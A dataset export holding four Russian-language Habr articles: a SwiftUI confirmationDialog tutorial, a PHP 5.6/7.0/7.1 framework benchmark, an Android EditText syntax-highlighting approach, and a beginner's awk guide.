text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Диалоги подтверждения в SwiftUI
Третья версия SwiftUI принесла нам несколько модификаторов представления (view modifiers), которые позволяют нам одинаково обрабатывать семантически похожие операции для разных представлений. Например одним из таких модификаторов представления является `onSubmit`, который мы можем использовать для управления как формами, так и полями поиска (`search fields`). На этой неделе мы поговорим о другом модификаторе представления, который SwiftUI предоставляет нам для отображения диалоговых окон подтверждения (`confirmationDialog`).
Диалог подтверждения (`confirmation dialog`) — это очень распространенный шаблон UI/UX, который мы обычно используем для подтверждения любых опасных действий в наших приложениях. Например, мы можем выводить диалоговое окно подтверждения перед удалением каких-либо конфиденциальных данных из приложения.
```
struct ContentView: View {
@StateObject var viewModel = ViewModel()
var body: some View {
NavigationView {
List {
ForEach(viewModel.messages, id: \.self) { message in
Text(message)
.swipeActions {
Button(
role: .destructive,
action: {
withAnimation {
viewModel.delete(message)
}
}
) {
Image(systemName: "trash")
}
}
}
}
.navigationTitle("Messages")
.onAppear { viewModel.fetch() }
}
}
}
```
Как вы можете видеть в приведенном выше примере, у нас есть экран, показывающий список сообщений из модели представления. Для предоставления действий, связанных с элементом списка, мы используем свайпы. В нашем случае мы показываем деструктивную кнопку, которая удаляет сообщение, как только вы ее нажимаете. Давайте посмотрим, как мы можем вывести диалоговое окно подтверждения с помощью нового модификатора представления `confirmationDialog`.
```
struct ContentView: View {
@StateObject var viewModel = ViewModel()
@State private var confirmationShown = false
var body: some View {
NavigationView {
List {
ForEach(viewModel.messages, id: \.self) { message in
Text(message)
.swipeActions {
Button(
role: .destructive,
action: { confirmationShown = true }
) {
Image(systemName: "trash")
}
}
.confirmationDialog(
"Are you sure?",
isPresented: $confirmationShown
) {
Button("Yes") {
withAnimation {
viewModel.delete(message)
}
}
}
}
}
.navigationTitle("Messages")
.onAppear { viewModel.fetch() }
}
}
}
```
Мы добавляем модификатор `confirmationDialog` к представлению `Text`, которое мы хотим удалить. Для отображения диалогового окна подтверждения потребуется несколько параметров:
1. Первый - это заголовок конкретного диалогового окна подтверждения. Это может быть `Text` или `LocalizedStringKey`.
2. Второй - привязка к логическому значению, которое указывает, когда следует отображать диалоговое окно подтверждения.
3. Третий - это замыкание `@ViewBuilder`*,* которое мы можем использовать для предоставления доступных действий с помощью представлений кнопок. Имейте в виду, что мы можем использовать только кнопки с текстом.
Вам не нужно предоставлять кнопку отмены. SwiftUI делает это автоматически для любого диалогового окна подтверждения. Но вы все равно можете предложить кнопку с ролью `.cancel`, чтобы заменить кнопку отмены по умолчанию.
```
.confirmationDialog("Are you sure?", isPresented: $confirmationShown) {
Button("Yes") {
withAnimation {
viewModel.delete(message)
}
}
Button("No", role: .cancel) {}
}
```
Вам не нужно изменять значение привязки на `false` чтобы закрыть диалоговое окно подтверждения. SwiftUI закрывает диалоговое окно подтверждения, как только пользователь выполняет любое из указанных действий.
Я должен упомянуть, что система может переупорядочивать кнопки в зависимости от их ролей и важности. SwiftUI применяет более высокий приоритет для действия по умолчанию. Вы можете сделать любое из предоставленных действий действием по умолчанию, используя модификатор представления `keyboardShortcut`.
```
.confirmationDialog("Are you sure?", isPresented: $confirmationShown) {
Button("Yes") {
withAnimation {
viewModel.delete(message)
}
}.keyboardShortcut(.defaultAction)
Button("No", role: .cancel) {}
}
```
SwiftUI обрабатывает различные среды соответственно - диалог подтверждения отображается как всплывающее окно при запуске в классах стандартного размера и в качестве списка действий в компактных классах.
Чтобы узнать больше о всплывающих окнах и списках действий в SwiftUI, почитайте мою статью [«Alerts, Action Sheets, Modals and Popovers in SwiftUI»](https://swiftwithmajid.com/2019/07/24/alerts-actionsheets-modals-and-popovers-in-swiftui/).
Модификатор представления `confirmationDialog` также предоставляет нам возможность контролировать `titleVisibility` представленного диалога. Параметр `titleVisibility` принимает инстанс перечисления `Visibility` с одним из следующих значений: `automatic`*,* `visible`*,* и `hidden`.
```
.confirmationDialog(
"Are you sure?",
isPresented: $confirmationShown,
titleVisibility: .visible
) {
Button("Yes") {
withAnimation {
viewModel.delete(message)
}
}.keyboardShortcut(.defaultAction)
Button("No", role: .cancel) {}
}
```
Мы также можем добавить дополнительное сообщение под заголовком с помощью параметра сообщения, который принимает другое замыкание `@ViewBuilder`, чтобы создать представление для отображения пользовательского сообщения.
```
.confirmationDialog(
"Are you sure?",
isPresented: $confirmationShown,
titleVisibility: .visible
) {
Button("Yes") {
withAnimation {
viewModel.delete(message)
}
}.keyboardShortcut(.defaultAction)
Button("No", role: .cancel) {}
} message: {
Text("This action cannot be undone")
}
```
Модификатор представления `confrimationDialog` позволяет нам предоставлять дополнительные данные для передачи в замыкания `@ViewBuilder` как для сообщения, так и для действий.
```
.confirmationDialog(
"Are you sure?",
isPresented: $confirmationShown,
titleVisibility: .visible,
presenting: message
) { message in
Button("Yes, delete: \(message)") {
withAnimation {
viewModel.delete(message)
}
}.keyboardShortcut(.defaultAction)
Button("No", role: .cancel) {}
} message: { message in
Text(message)
}
```
Чтобы узнать больше о преимуществах замыканий `ViewBuilder` в SwiftUI, читайте мою [публикацию «The power of @ViewBuilder in SwiftUI»](https://swiftwithmajid.com/2019/12/18/the-power-of-viewbuilder-in-swiftui/).
Мне очень нравится новый модификатор представления `confirmationDialog` за тот уровень гибкости, что он обеспечивает при кастомизации пользовательского опыта в наших приложениях. Надеюсь, вам понравилась эта статья. Не стесняйтесь подписываться на меня в [Твиттере](https://twitter.com/mecid) и задавать свои вопросы, связанные с этой темой. Спасибо за внимание, до встречи на следующей неделе!
---
> Материал подготовлен в рамках специализации [«iOS Developer»](https://otus.pw/WQJCS/).
>
> Всех желающих приглашаем на открытый урок [«Новые инструменты Swift, для работы с асинхронностью Async/Away/Actor»](https://otus.pw/Wkpa/). На открытом уроке поговорим о новых инструментах Swift 5.5 по работе с асинхронными задачами.
>
> Открытый урок рассчитан на разработчиков, имеющих опыт, и желающих ознакомиться с новыми возможностями для работы с асинхронными задачами.
>
> [**РЕГИСТРАЦИЯ**](https://otus.pw/Wkpa/)
>
> | https://habr.com/ru/post/571570/ | null | ru | null |
# Как выбрать тот самый PHP-фреймворк. Сравнительное тестирование
При разработке любого программного продукта перед командой разработчиков прежде всего стоит задача грамотного выбора программной платформы, определяющей структуру программной системы.
Для этого нужно учесть достаточно большое количество характеристик, от «как быстро всё будет работать» до «а необходима ли нам эта фича?». И так каждый раз. Именно в моменты мозгового штурма команда сравнивает удобство фреймворка, скорость, набор фич, которые реализованы в нем или в совместимых с ним модулях.
Но какой же всё-таки лучше, быстрее и производительнее?
Разработчики постоянно проводят сравнение фреймворков, чтобы прояснить для себя этот вопрос. Например, в [статье](https://systemsarchitect.net/2013/04/23/performance-benchmark-of-popular-php-frameworks/) Lukasz Kujawa приведено сравнение PHP фреймворков. Одно «но» — статья за 2013 год. А ведь время идёт… Поэтому мы решили провести своё, актуальное сравнение фреймворков.
Для оценки производительности был использован [PHP Framework Benchmark](https://github.com/kenjis/php-framework-benchmark). Он предлагает для сравнения множество фреймворков (не только указанных выше), но автор не спешит добавлять в репозиторий новые версии проектов, что, конечно же, печально, хотя и не смертельно. При желании добавить новую версию не сложно.
Одной из основных целей данной статьи также является попытка практическим путем определить улучшения в производительности и эффективности новых версий PHP. Поэтому тестирование было проведено на РНР 5.6/7.0/7.1
Что будем сравнивать?
---------------------
Для сравнения были выбраны следующие фреймворки:
* slim-3.0
* ci-3.0
* lumen-5.1
* yii-2.0
* silex-1.3
* fuel-1.8
* phpixie-3.2
* zf-2.5
* zf-3.0
* symfony-2.7
* symfony-3.0
* laravel-5.3
* laravel-5.4
* bluz (версия 7.0.0 — для РНР5.6 и версия 7.4 для РНР7.0 и выше)
* ze-1.0
* phalcon-3.0
Тестирование условно разделено на 4 вида:
* производительность (throughput),
* занимаемая память (memory),
* время выполнения (exec time),
* количество подключаемых файлов (included files).
Методика тестирования и тестовый стенд
--------------------------------------
Машина, на которой производилось тестирование, обладает следующими характеристиками:
`Operation system: Linux Mint 17 Cinnamon 64-bit
Cinnamin Version 2.2.16
Linux Kernel: 3.13.0-24-generic
Processor: Intel Core i3-4160 CPU 3.60 Ghz X 2
Memory: 8 GB
Server version: Apache/2.4.7 (ubuntu)
Server build: Jul 15 2016
php 7.1 / php7.0 / php5.6`
Вводим команду `git clone https://github.com/kenjis/php-framework-benchmark` — и фрейм уже на нашей машине. Поскольку мы использовали Mint, необходимо выполнить настройку:
`# Added
net.netfilter.nf_conntrack_max = 100000
net.nf_conntrack_max = 100000
net.ipv4.tcp_max_tw_buckets = 180000
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 10
sudo sysctl -p`
Немного о структуре самого php-framework-benchmark:
**/benchmarks** — содержит bash-скрипты, отвечающие за сбор информации о количестве запросов в секунду (при помощи утилиты ab), количестве информации, сколько времени было потрачено и сколько файлов вызывалось из файла «точки старта».
**/lib** — директория, в которой находятся файлы, отвечающие за обработку полученной информации после вывода страницы “Hello world”, вывод таблиц с результатами и построение диаграмм.
**/output** — директория, в которую добавляются логи после выполнения тестирования. Здесь находится по два файла для каждого протестированного файла: .ab.log — лог после работы утилиты ab, и .output — содержит информацию, которая была выведена на экран (обычно это hello world и данные по памяти, времени выполнения, использовавшимся файлам).
Остальные папки — это заготовки фреймов, в которые уже добавлен один контроллер, который вернет строку “hello world” при обращении по URI, составленному по правилам обращения к данному фреймворку.
Для запуска теста сначала нужно настроить фреймворки. Рассмотрим два подхода.
Команда `bash setup.sh` настроит те фремворки, которые описаны в файле list.sh. Вы можете его редактировать: добавлять и удалять папки для тестирования. То есть конфигурировать так, как вам необходимо.
Командой `bash setup.sh fatfree-3.5/ slim-3.0/ lumen-5.1/ silex-1.3/` вы можете установить какие-то отдельные фреймворки, задав их параметрами к команде. В некоторых случаях это удобно, но мы использовали первый подход.
После произведенной настройки фреймворков, мы запустили тестирование при помощи `bash benchmark.sh`.
По окончании работы в терминале появилась таблица со списком протестированных фреймворков, количеством запросов в секунду, относительным значением, занимаемой памятью, а также относительными значениями этих показателей.
Для отображения графиков мы воспользовались ссылкой <http://localhost/php-framework-benchmark/>.
Как вы понимаете, необходимо было произвести настройку Apache и заставить его смотреть в папку с фреймом. Всё это описано в readme, поэтому вопросов не возникает.
Результаты тестирования фреймворков
-----------------------------------
Каждый раздел имеет структуру, состоящую из двух форм представления результатов.
Первая форма — это наглядный тип представления. Каждая характеристика содержит 4 диаграммы. Каждая диаграмма отображает сравнение фреймворков между собой, плюс накопительная диаграмма. Она была построена при использовании определенной версии РНР. Таким образом можно проследить эволюцию улучшений в PHP и фреймворках.
Вторая форма — это результат тестирования в виде таблицы (хватить наглядности, давайте говорить серьезно — дайте мне больше чисел!).
### Производительность (throughput)
Применительно к нашей ситуации, характеристика throughput измеряется в количестве запросов, которые наш фреймворк может обработать в течении секунды. Следовательно, чем выше это число, тем более производительно наше приложение, поскольку оно сможет корректно обрабатывать запросы большого количества пользователей.
Мы получили следующие результаты (запросы в секунду):
| | php 5.6 | php 7.0 | php 7.1 |
| --- | --- | --- | --- |
| phalcon-3.1.2 | 5058.00 | 5130.00 | 7535.00 |
| ci-3.0 | 2943.55 | 4116.31 | 4998.05 |
| slim-3.0 | 2074.59 | 3143.94 | 3681.00 |
| yii-2.0 | 1256.31 | 2276.37 | 2664.61 |
| silex-1.3 | 1401.92 | 2263.90 | 2576.22 |
| lumen-5.1 | 1316.46 | 2384.24 | 2741.81 |
| ze-1.0 | 1181.14 | 1989.99 | 1741.81 |
| phpixie-3.2 | 898.63 | 1677.15 | 1896.23 |
| fuel-1.8 | 1044.77 | 1646.67 | 1770.13 |
| bluz-7.3.1 | — \* | 1774.00 | 1890.00 |
| zf-2.5 | 198.66 | 623.71 | 739.12 |
| zf-3.0 | 447.88 | 1012.57 | 1197.26 |
| symfony-2.7 | 360.03 | 873.40 | 989.57 |
| symfony-3.0 | 372.19 | 853.51 | 1022.28 |
| laravel-5.3 | 258.62 | 346.25 | 625.99 |
| laravel-5.4 | 219.82 | 413.49 | 600.42 |
\* — bluz-7.3.1 не поддерживает php 5.6
Для наглядности построили графики для каждой версии PHP:
PHP5.6:
PHP7.0:
PHP7.1:
Сводная накопительная диаграмма (по фреймворкам):
### Занимаемая память (peak memory)
Эта характеристика (в мегабайтах) отвечает за количество занимаемой фреймворком памяти при выполнении поставленной перед ним задачи. Чем меньше данное число, тем лучше для нас и для сервера:
| | php 5.6 | php 7.0 | php 7.1 |
| --- | --- | --- | --- |
| phalcon-3.1.2 | 0.27 | 0.38 | 0.37 |
| ci-3.0 | 0.42 | 0.38 | 0.38 |
| slim-3.0 | 0.61 | 0.55 | 0.55 |
| yii-2.0 | 1.31 | 0.91 | 0.91 |
| silex-1.3 | 0.74 | 0.65 | 0.65 |
| lumen-5.1 | 0.80 | 0.63 | 0.63 |
| ze-1.0 | 0.79 | 0.56 | 0.56 |
| phpixie-3.2 | 1.22 | 0.82 | 0.82 |
| fuel-1.8 | 0.7 | 0.6 | 0.6 |
| bluz-7.3.1 | — \* | 0.69 | 0.69 |
| zf-2.5 | 3.06 | 1.34 | 1.34 |
| zf-3.0 | 2.12 | 1.09 | 1.08 |
| symfony-2.7 | 3.11 | 1.41 | 1.42 |
| symfony-3.0 | 2.86 | 1.30 | 1.32 |
| laravel-5.3 | 2.91 | 2.04 | 2.04 |
| laravel-5.4 | 3.04 | 1.45 | 1.49 |
\* — bluz-7.3.1 не поддерживает php 5.6
PHP 5.6:
PHP 7.0:
PHP 7.1:
Сводная накопительная диаграмма (по фреймворкам):
### Время выполнения
> Время выполнения — время, затрачиваемое системой для выполнения поставленной задачи. Измеряется от начала выполнения задачи до выдачи результата системой.
Мы рассмотрели, сколько запросов в секунду может обработать фреймворк, сколько памяти он при этом занимает. Теперь рассмотрим, сколько нам нужно ожидать, чтобы получить ответ от сервера. ***Чем ниже это значение, тем лучше для нас***, да и для нервной системы клиента нашего приложения.
Время приведено в миллисекундах (ms):
| | php 5.6 | php 7.0 | php 7.1 |
| --- | --- | --- | --- |
| phalcon-3.1.2 | 1.300 | 1.470 | 1.080 |
| ci-3.0 | 0.996 | 0.818 | 1.007 |
| slim-3.0 | 1.530 | 1.228 | 0.662 |
| yii-2.0 | 1.478 | 1.410 | 1.639 |
| silex-1.3 | 4.657 | 1.625 | 2.681 |
| lumen-5.1 | 2.121 | 1.829 | 1.228 |
| ze-1.0 | 2.629 | 2.069 | 1.528 |
| phpixie-3.2 | 9.329 | 4.757 | 1.911 |
| fuel-1.8 | 3.283 | 2.684 | 1.425 |
| bluz-7.3.1 | — \* | 1.619 | 1.921 |
| zf-2.5 | 22.042 | 5.011 | 3.998 |
| zf-3.0 | 12.680 | 2.506 | 2.989 |
| symfony-2.7 | 6.529 | 3.902 | 2.384 |
| symfony-3.0 | 9.335 | 3.987 | 2.820 |
| laravel-5.3 | 19.885 | 4.840 | 2.622 |
| laravel-5.4 | 19.561 | 4.758 | 3.940 |
PHP 5.6:
PHP 7.0:
PHP 7.1:
Сводная накопительная диаграмма (по фреймворкам):
### Подключаемые файлы
Характеристика, отвечающая за количество подключаемых файлов, которые описаны в файле «точки входа» фреймворка. Понятно, что система тратит какое-то время на поиск и подключение. Следовательно, ***чем меньше файлов, тем быстрее*** будет осуществляться первый запуск приложения, так как обычно в последующие разы фреймворк работает с кэшем, что ускоряет работу:
| | |
| --- | --- |
| phalcon-3.1.2 | 5 |
| ci-3.0 | 26 |
| slim-3.0 | 53 |
| yii-2.0 | 46 |
| silex-1.3 | 63 |
| lumen-5.1 | 37 |
| ze-1.0 | 68 |
| phpixie-3.2 | 163 |
| fuel-1.8 | 53 |
| bluz-7.3.1 | 95 |
| zf-2.5 | 222 |
| zf-3.0 | 188 |
| symfony-2.7 | 110 |
| symfony-3.0 | 192 |
| laravel-5.3 | 38 |
| laravel-5.4 | 176 |
Разница в количестве подключаемых файлов между Laravel 5.3 и Laravel 5.4 может показаться странной и дать повод к обсуждениям, спорам и т.п. Спешим разъяснить ситуацию. Как вы знаете, с помощью команды
`php artisan optimize --force`
в Laravel 5.3 можно сгенерировать файл compiled.php, и тем самым уменьшить количество подключаемых файлов, собрав их в один. Но есть одно «но»: команды для генерации этого файла в Laravel 5.4 больше нет. Разработчик решил удалить эту фичу, так как посчитал (<https://github.com/laravel/framework/pull/17003>), что для настройки производительности лучше использовать opcache.
Стоит ли обновляться?
---------------------
Сводные данные по версиям более чем наглядно показывают, какой произойдет прирост производительности и эффективности использования ресурсов при переходе (или изначальном выборе) на новую версию PHP.
При переходе с PHP 5.6 на PHP 7.0 средний прирост производительности составил почти +90%, при этом минимальный прирост производительности составил +33% для Laravel 5.3, а максимум — >200% для Zend Framework 2.5.
Переход с версии 7.0 на 7.1 уже не так шокирует, но всё же в среднем даёт почти 20% прирост производительности.
Сведя все полученные данные по производительности различных версий PHP, получим вот такие «матрасы»:
**Забавный факт**: Laravel 5.3 показал наименьший прирост производительности при миграции с PHP 5.6 на PHP 7.0, но при этом наибольший прирост при миграции с версии 7.0 на версию 7.1, и как итог — производительность Laravel 5.3 и 5.4 на PHP 7.1 практически одинакова.
Потребление памяти тоже оптимизировали, так что переход с PHP 5.6 на PHP 7.0 позволит вашему приложению потреблять на 30% меньшем памяти.
Обновление с версии 7.0 до версии 7.1 практически не даёт прироста, а в последних Symfony и Laravel так и вовсе уходим в «минус», потому что они начинают чуть больше «кушать».
Осталось ещё посмотреть на время выполнения, и да, тут тоже всё отлично:
* переезд с PHP 5.6 на PHP 7.0 подарит вам ускорение в среднем на 44%.
* переезд с PHP 7.0 на PHP 7.1 подарит вам ускорение ещё на 14%.
Примечание. Тестирование при помощи ab — с чем мы столкнулись
-------------------------------------------------------------
«А что со slim и phpixie» — этот вопрос подтолкнул на расследование поведения утилиты ab при взаимодействии с этими фреймворками.
Выполним тест отдельно для Slim-3.0:
`ab -c 10 -t 3 http://localhost/php-framework-benchmark/slim-3.0/index.php/hello/index
Concurrency Level: 10
Time taken for tests: 5.005 seconds
Complete requests: 2
Failed requests: 0
Total transferred: 1800 bytes
HTML transferred: 330 bytes
Requests per second: 0.40 [#/sec] (mean)
Time per request: 25024.485 [ms] (mean)
Time per request: 2502.448 [ms] (mean, across all concurrent requests)
Transfer rate: 0.35 [Kbytes/sec] received`
Что-то не так — количество запросов в секунду всего 0.4 (!)
`ab -c 10 -t 3 http://localhost/php-framework-benchmark/laravel-5.4/public/index.php/hello/index
Concurrency Level: 10
Time taken for tests: 3.004 seconds
Complete requests: 1961
Failed requests: 0
Total transferred: 1995682 bytes
HTML transferred: 66708 bytes
Requests per second: 652.86 [#/sec] (mean)
Time per request: 15.317 [ms] (mean)
Time per request: 1.532 [ms] (mean, across all concurrent requests)
Transfer rate: 648.83 [Kbytes/sec] received`
Дело было в Keep Alive соединении, подробнее можно узнать тут.
> “When you make requests with «Connection: keep-alive» the subsequent request to the server will use the same TCP connection. This is called HTTP persistent connection. This helps in reduction CPU load on server side and improves latency/response time.
>
>
>
> If a request is made with «Connection: close» this indicates that once the request has been made the server needs to close the connection. And so for each request a new TCP connection will be established.
>
>
>
> By default HTTP 1.1 client/server uses keep-alive where as HTTP 1.0 client/server don’t support keep-alive by default.”
Таким образом, тест для Slim должен выглядеть так:
`ab -H 'Connection: close' -c 10 -t 3 http://localhost/php-framework-benchmark/slim-3.0/index.php/hello/index
Concurrency Level: 10
Time taken for tests: 3.000 seconds
Complete requests: 10709
Failed requests: 0
Total transferred: 2131091 bytes
HTML transferred: 353397 bytes
Requests per second: 3569.53 [#/sec] (mean)
Time per request: 2.801 [ms] (mean)
Time per request: 0.280 [ms] (mean, across all concurrent requests)
Transfer rate: 693.69 [Kbytes/sec] received`
Заключение
----------
Как и стоило ожидать безоговорочным лидером по производительности (но не скорости разработки) является Phalcon. Второе место, — а на самом деле первое среди PHP-фреймворков (а не C, на котором написан исходный код Phalcon) — занимает CodeIgniter 3!
Конечно же, не стоит забывать, что каждому инструменту своё предназначение. Если вы выбираете небольшой и легкий фреймворк и собираетесь написать на нём что-то отличное от простейших приложений или REST API, то, скорее всего, вы столкнётесь с проблемами при расширении функционала. И наоборот — избыточность полнофункциональных, больших фреймворков повлечёт за собой финансовые издержки на содержание хостинга даже для элементарных приложений под большой нагрузкой.
Это тестирование проводилось для того, чтобы убедить/рассказать/укрепить позицию языка РНР версий 7.0 и 7.1 в вашем сознании и в будущих проектах, донести информацию о том, что производительность действительно возросла.
> Рефакторинг внутренних структур данных и добавление дополнительного этапа перед компиляцией кода в виде абстрактного синтаксического дерева — Abstract Syntax Tree (AST), — привели к превосходной производительности и более эффективному распределению памяти. Результаты сами по себе выглядят многообещающе: тесты, выполненные на реальных приложениях, показывают, что PHP 7 в среднем вдвое быстрее PHP 5.6, а также использует на 50% меньше памяти во время обработки запросов, что делает PHP 7 сильным соперником для компилятора HHVM JIT от Facebook.
Тесты полностью подтверждают и вдвое ускорившуюся обработку запроса в РНР7, и уменьшенное количество используемой памяти. | https://habr.com/ru/post/329718/ | null | ru | null |
# Подсветка кода на android. Мой опыт
Во время разработки моего последнего приложения мне пришлось провести довольно много времени, экспериментируя с разными подходами к размещению [span'ов](http://developer.android.com/reference/android/text/style/CharacterStyle.html) в EditText. В этом посте хотелось бы подвести некоторый итог этого времяпрепровождения, а также сэкономить время тем, кто в будущем будет решать подобные задачи.
Кода будет немного, только основные моменты.
Для начала хочу привести небольшой список фактов для того, чтобы ввести читателя в курс дела:
* Несмотря на N ядер (каждое с огромной частотой), современный смартфоны все еще очень сильно уступают в производительности даже недорогим, но большим компьютерам.
* Каждое приложении в андроиде имеет строго ограниченный размер выделяемой памяти. И он не велик.
* Метод [setSpan](http://developer.android.com/reference/android/text/Spannable.html#setSpan(java.lang.Object, int, int, int)) работает медленно.
* Чем больше работы вы вынесете в Worker'ы, тем отзывчивее будет ваше приложение.
* Держать подсвеченным весь текст не получится — только видимую его часть.
* Довольно очевидно, но все же: поиск места размещения спана в UI потоке делать не получится.
Итак, сразу к моему решению, которое, возможно, далеко не самое оптимальное. В этом случае буду рад советам.
#### Общие описание структуры предлагаемого решения
Создаем расширение [ScrollView](http://developer.android.com/reference/android/widget/ScrollView.html) и в него помещаем [EditText](http://developer.android.com/reference/android/widget/EditText.html). У ScrollView переопределяем [onScrollChanged](http://developer.android.com/reference/android/view/View.html#onScrollChanged(int, int, int, int)) для того, чтобы отлавливать момент окончания скроллинга. В это время уведомляем наш постоянно висящий в фоне поток о том, что текст надо распарсить.
EditText'у вешаем слушателя изменения текста — [TextWatcher'а](http://developer.android.com/reference/android/text/TextWatcher.html) . В его методе [afterTextChanged](http://developer.android.com/reference/android/text/TextWatcher.html#afterTextChanged(android.text.Editable)) информируем Worker'а о том, что надо распарсить текст. В классе (потомке EditText) заводим Handler, в который из Worker'а будем отсылать список спанов, которые необходимо навесить на текст.
Общая схема такова. Теперь к деталями, которые изложу в форме вопрос-ответ.
#### Как отловить момент окончания скроллинга?
Метод onScrollChanged вызывается после каждого «проскролленого» пикселя, и если заставлять поток-парсер работать после каждого вызова, то, понятное дело, ничего хорошего из этого не выйдет. Поэтому делаем следующим образом:
```
private Thread timerThread;
protected void onScrollChanged(int x, int y, int oldx, int oldy) {
super.onScrollChanged(x, y, oldx, oldy);
timer = 500;
if (timerThread == null || !timerThread.isAlive()) {
timerThread = new Thread(lastScrollTime);
timerThread.start();
}
}
Runnable lastScrollTime = new Runnable() {
@Override
public void run() {
while (timer != 0) {
timer -= 10;
try {
Thread.sleep(10);
} catch (InterruptedException e) {
}
}
CustomScrollView.this.post(new Runnable() {
@Override
public void run() {
if (onScrollStoppedListener != null) {
onScrollStoppedListener.onScrollStopped(CustomScrollView.this.getScrollY());
}
}
});
}
};
public interface OnScrollStoppedListener {
void onScrollStopped(int scrollY);
}
```
То есть каждый раз при вызове метода выставляем таймер в 500 мс и, если в течении этого времени метод не вызывается, то уведомляем OnScrollStoppedListener о том, что скроллинг остановился. В моем случае интерфейс OnScrollStoppedListener реализует мой EditText.
#### Как не стартовать поток-парсер после каждого введенного символа?
См. предыдущий пункт.
На самом деле этот способ в данном случае далеко не идеален потому, что пользователю всегда придется ждать N-ое количество миллисекунд до начала процесса парсинга. По-хорошему тут нужна какая-то интеллектуальная система, которая будет понимать, когда пользователь просто медленно печатает, а когда он уже завершил некоторую операцию ( к примеру написал оператор echo).
#### Как понять, какой текст попадает в видимую область?
К сожалению, точно этого сделать нельзя, поэтому приходится делать примерно. Для начала после каждого изменения текста я вызываю следующий метод:
```
List charsCountPerLine = new ArrayList<>();
public void fillArrayWithCharsCountPerLine(String text) {
charsCountPerLine.clear();
charsCountPerLine.add(0);
BufferedReader br = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(text.getBytes())));
int currentLineLength = 0;
char current;
try {
while (true) {
int c = br.read();
if (c == -1) {
charsCountPerLine.add(currentLineLength);
break;
}
current = (char) c;
currentLineLength++;
if (current == '\n') {
charsCountPerLine.add(currentLineLength);
}
}
} catch (IOException e) {
Log.e(TAG, "", e);
}
}
```
То есть я получаю номер символа начала каждой строки. Затем, зная высоту экрана в пикселях, легко вычисляем номер первой и последней видимой строки:
```
int lineHeight = mEditText.getLineHeight();
int startLine = scrollY / lineHeight; // scrollY - то что присылает нам ScrollView
int endLine = mEditText.startLine + viewHeight / lineHeight + 1; // viewHeight высота дисплея в пикселях
```
Имея эти данные, вы без труда найдете первый и последний видимый символ.
#### Зачем нужно заполнять список со спанами? Почему бы просто не посылать каждый спан в handler сразу после его создания?
Во-первых, тогда вы потеряете удобную возможность использовать несколько потоков для парсинга текста. В такой конфигурации вы, к примеру, можете на этапе вставки спана в список проверять его на наличие двойника в листе. Во-вторых, на мой взгляд, программист работает итеративно. То есть он сделал какое-то действие, а затем не секунду задумался. В этот-то момент и придет пачка спанов в наш ui поток и подсветит его на доли секунды. В обратном же случае спаны будут приходить постоянно, создавая микро тормоза UI.
#### Зачем нам постоянно спящий поток? Почему бы не использовать ThreadPool?
По идее, так должно быть немного лучше, но я не пробовал.
Я осветил общую структуру решения, и, на мой взгляд, неочевидные моменты. Надеюсь, это кому-нибудь пригодится. Спасибо. | https://habr.com/ru/post/204248/ | null | ru | null |
# Команда awk – примеры использования в Linux и Unix
[](https://habr.com/ru/company/ruvds/blog/665084/)
В этом базовом руководстве вы узнаете самые основы команды `awk`, а также увидите некоторые способы её использования при работе с текстом, включая вывод содержимого файла, а также его конкретных столбцов, строк и слов по указанным критериям. Приступим!
Что это за команда awk?
-----------------------
AWK – это скриптовый язык, который полезен при работе в командной строке и широко применяется для обработки текста.
При использовании `awk` вы можете выбирать данные – один или более отдельных фрагментов текста – на основе заданного критерия. Например, с помощью `awk` можно выполнять поиск конкретного слова или шаблона во фрагменте текста, а также выбирать определённую строку/столбец в файле.
### Базовый синтаксис awk
Простейшая форма команды `awk` подразумевает описание основного действия в одинарных кавычках и фигурных скобках с указанием после него целевого файла.
Выглядеть она может так:
```
awk '{action}' your_file_name.txt
```
Когда вам нужно найти текст, соответствующий конкретному шаблону, или же конкретное слово в тексте, команда принимает следующий вид:
```
awk '/regex pattern/{action}' your_file_name.txt
```
### Создание образца файла
Для создания файла в командной строке используется команда `touch`. Например: `touch filename.txt`, где `filename` – это произвольное имя файла.
Затем можно с помощью команды `open` (`open filename.txt`) запустить обработчик текста вроде TextEdit, который позволит внести в файл нужное содержимое.
Предположим, у вас есть текстовый файл *information.txt*, содержащий данные, разделённые по столбцам.
Выглядеть этот файл может так:
```
firstName lastName age city ID
Thomas Shelby 30 Rio 400
Omega Night 45 Ontario 600
Wood Tinker 54 Lisbon N/A
Giorgos Georgiou 35 London 300
Timmy Turner 32 Berlin N/A
```
В приведённом примере мы видим по одному столбцу для
`firstName`, `lastName`, `age`, `city` и `ID`.
В любой момент можно просмотреть вывод содержимого вашего файла, выполнив `cat text_file`, где `text_file` представляет имя файла.
### Вывод всего содержимого файла
Для вывода всего содержимого файла в качестве действия в фигурных скобках нужно указать `print $0`.
Сработает эта команда аналогично ранее упомянутой `cat`.
```
awk '{print $0}' information.txt
```
Вывод:
```
firstName lastName age city ID
Thomas Shelby 30 Rio 400
Omega Night 45 Ontario 600
Wood Tinker 54 Lisbon N/A
Giorgos Georgiou 35 London 300
Timmy Turner 32 Berlin N/A
```
Если захотите добавить нумерацию строк, то нужно будет дополнить действие переменной `NR`:
```
awk '{print NR,$0}' information.txt
```
```
1 firstName lastName age city ID
2
3 Thomas Shelby 30 Rio 400
4 Omega Night 45 Ontario 600
5 Wood Tinker 54 Lisbon N/A
6 Giorgos Georgiou 35 London 300
7 Timmy Turner 32 Berlin N/A
```
### Вывод конкретных столбцов
При использовании `awk` можно указывать для вывода конкретные столбцы.
Вывод первого производится следующей командой:
```
awk '{print $1}' information.txt
```
Вывод:
```
Thomas
Omega
Wood
Giorgos
Timmy
```
Здесь `$1` означает первое поле, то есть в данном случае первый столбец.
Для вывода второго столбца используется `$2`:
```
awk '{print $2}' information.txt
```
Вывод:
```
lastName
Shelby
Night
Tinker
Georgiou
Turner
```
По умолчанию начало и конец каждого столбца `awk` определяет по пробелу.
Для вывода большего числа столбцов, например, первого и четвёртого, нужно выполнить:
```
awk '{print $1, $4}' information.txt
```
Вывод:
```
firstName city
Thomas Rio
Omega Ontario
Wood Lisbon
Giorgos London
Timmy Berlin
```
Здесь `$1` представляет первое поле ввода (первый столбец), а `$4` четвёртое. При этом они отделяются запятой, чтобы вывод разделялся пробелом и был более читаемым.
Для вывода последнего поля (последнего столбца) также можно использовать команду `$NF`, представляющую последнее поле записи:
```
awk '{print $NF}' information.txt
```
Вывод:
```
ID
400
600
N/A
300
N/A
```
